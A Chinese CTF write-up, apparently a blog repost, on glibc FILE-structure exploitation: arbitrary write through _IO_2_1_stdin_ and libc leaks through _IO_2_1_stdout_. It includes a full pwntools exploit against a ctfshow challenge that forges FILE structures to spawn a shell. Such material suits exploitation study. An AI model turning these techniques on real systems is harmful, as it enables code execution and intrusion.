_IO_2_1_stdin_任意写及对_IO_2_1_stdout_任意读的补充

博客 分享
0 196
张三
张三 2022-03-06 14:56:11
悬赏:0 积分 收藏

_IO_2_1_stdin_ 任意写及对 _IO_2_1_stdout_ 任意读的补充

之前写过一篇 IO_FILE——leak 任意读,但是在学习的时候偷懒了,没有深入去看,这次碰到 winmt 师傅出的题,就傻眼了,故再写一篇博客来记录一下。

例题 ctfshow Incomplete Menu :

洞在 edit 里,可以超过 size 进行一个置零的操作。

这里还是考虑利用 _IO_2_1_stdout_ 来泄露 libc 基址。这里就出现了一个在我上篇文章中忽略的知识点。上一篇文章是通过改 flag 的一系列操作来进行,而 _IO_2_1_stdout_ 还有另一种修改方式可以泄露 libc。及使 _IO_read_end == _IO_write_base,忽略源码在下面:

_IO_size_tnew_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do){  _IO_size_t count;  if (fp->_flags & _IO_IS_APPENDING)    /* On a system without a proper O_APPEND implementation,       you would need to sys_seek(0, SEEK_END) here, but is       not needed nor desirable for Unix- or Posix-like systems.       Instead, just indicate that offset (before and after) is       unpredictable. */    fp->_offset = _IO_pos_BAD;  else if (fp->_IO_read_end != fp->_IO_write_base)    {      _IO_off64_t new_pos    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);      if (new_pos == _IO_pos_BAD)    return 0;      fp->_offset = new_pos;    }  count = _IO_SYSWRITE (fp, data, to_do);  if (fp->_cur_column && count)    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;  fp->_IO_write_end = (fp->_mode <= 0               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))               ? fp->_IO_buf_base : fp->_IO_buf_end);  return count;}

   还有本题还有不会的地方就是利用 _IO_2_1_stdin_ 进行任意写,走 io 的函数在读取数据时,会先判断缓冲区是否有数据,如果有数据,无论是否满足需要的数量,那么就会走缓冲区直接先取出来用,再从用户处读进缓冲区。故我们不能让 _IO_read_end > _IO_read_ptr

_IO_size_t_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n){  _IO_size_t want, have;  _IO_ssize_t count;  char *s = data;  want = n;  if (fp->_IO_buf_base == NULL)    {      /* Maybe we already have a push back pointer.  */      if (fp->_IO_save_base != NULL)    {      free (fp->_IO_save_base);      fp->_flags &= ~_IO_IN_BACKUP;    }      _IO_doallocbuf (fp);    }  while (want > 0)    {      have = fp->_IO_read_end - fp->_IO_read_ptr;      if (want <= have)    {      memcpy (s, fp->_IO_read_ptr, want);      fp->_IO_read_ptr += want;      want = 0;    }      else    {      if (have > 0)        {          s = __mempcpy (s, fp->_IO_read_ptr, have);          want -= have;          fp->_IO_read_ptr += have;        }      /* Check for backup and repeat */      if (_IO_in_backup (fp))        {          _IO_switch_to_main_get_area (fp);          continue;        }      /* If we now want less than a buffer, underflow and repeat         the copy.  Otherwise, _IO_SYSREAD directly to         the user buffer. */      if (fp->_IO_buf_base          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))        {          if (__underflow (fp) == EOF)        break;          continue;        }      /* These must be set before the sysread as we might longjmp out         waiting for input. */      _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);      _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);      /* Try to maintain alignment: read a whole number of blocks.  */      count = want;      if (fp->_IO_buf_base)        {          _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;          if (block_size >= 128)        count -= want % block_size;        }      count = _IO_SYSREAD (fp, s, count);      if (count <= 0)        {          if (count == 0)        fp->_flags |= _IO_EOF_SEEN;          else        fp->_flags |= _IO_ERR_SEEN;          break;        }      s += count;      want -= count;      if (fp->_offset != _IO_pos_BAD)        _IO_pos_adjust (fp->_offset, count);    }    }  return n - want;}

需要注意的是本题是要控制 _IO_read_ptr - _IO_read_end < 16 ,至于为什么,emmm也不是很好说,建议各位自己调试看看。

winmt师傅的exp:

from pwn import *context(arch='amd64', log_level='debug')io = process("./pwn")elf = ELF('./pwn')libc = ELF("./libc-2.27.so")def get_IO_str_jumps():   IO_file_jumps_offset = libc.sym['_IO_file_jumps']   IO_str_underflow_offset = libc.sym['_IO_str_underflow']   for ref_offset in libc.search(p64(IO_str_underflow_offset)):       possible_IO_str_jumps_offset = ref_offset - 0x20       if possible_IO_str_jumps_offset > IO_file_jumps_offset:          return possible_IO_str_jumps_offsetdef new(size):    io.sendlineafter(">> ", "1")    io.sendlineafter(">> ", str(size))def edit(index, length, content):    io.sendlineafter(">> ", "2")    io.sendlineafter(">> ", str(index))    io.sendlineafter(">> ", str(length))    io.sendafter(">> ", content)def new_x(size):    io.sendline("1")    sleep(0.1)    io.sendline(str(size))def edit_x(index, length, content):    io.sendline("2")    sleep(0.1)    io.sendline(str(index))    sleep(0.1)    io.sendline(str(length))    sleep(0.1)    io.send(content)new(0x200000);edit(0, 0x201000 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x10 + 1, '\n') new_x(0x200000);edit_x(1, 0x201000 * 2 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x20 + 1, '\n')libc_base = u64(io.recvline()[8:16]) - 0x3ed8b0success("libc_base:\t" + hex(libc_base))payload = p64(0)*5 + p64(1) + p64(0) + p64(libc_base + next(libc.search(b'/bin/sh')))payload = payload.ljust(0xd8, b'\x00') + p64(libc_base + get_IO_str_jumps() - 8)payload += p64(0) + p64(libc_base + libc.sym['system'])new(0x200000);edit(2, 0x201000 * 3 - 0x10 + libc.sym['_IO_2_1_stdin_'] + 0x38 + 1, payload)payload = p64(0xfbad208b)payload += p64(libc_base + libc.sym['_IO_list_all'] + 132)payload += p64(libc_base + libc.sym['_IO_list_all']) * 6payload += p64(libc_base + libc.sym['_IO_list_all'] + 0x10)payload = payload.ljust(132, b'\x00') + p64(libc_base - (0x201000 * 3 - 0x10))io.sendlineafter(">> ", payload)io.interactive()

此外还有一个通过 stdout 的任意写:

  else if (f->_IO_write_end > f->_IO_write_ptr)    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */  /* Then fill the buffer. */  if (count > 0)    {      if (count > to_do)    count = to_do;      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);      s += count;      to_do -= count;    }

只需把 _IO_write_ptr 改为想要写入的首地址, _IO_write_end 指向写入地址的结尾(或者大一些)即可。

 

本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15923390.html

posted @ 2022-03-06 14:26 狒猩橙 阅读(0) 评论(0) 编辑 收藏 举报
回帖
    张三

    张三 (王者 段位)

    821 积分 (2)粉丝 (41)源码

     

    温馨提示

    亦奇源码

    最新会员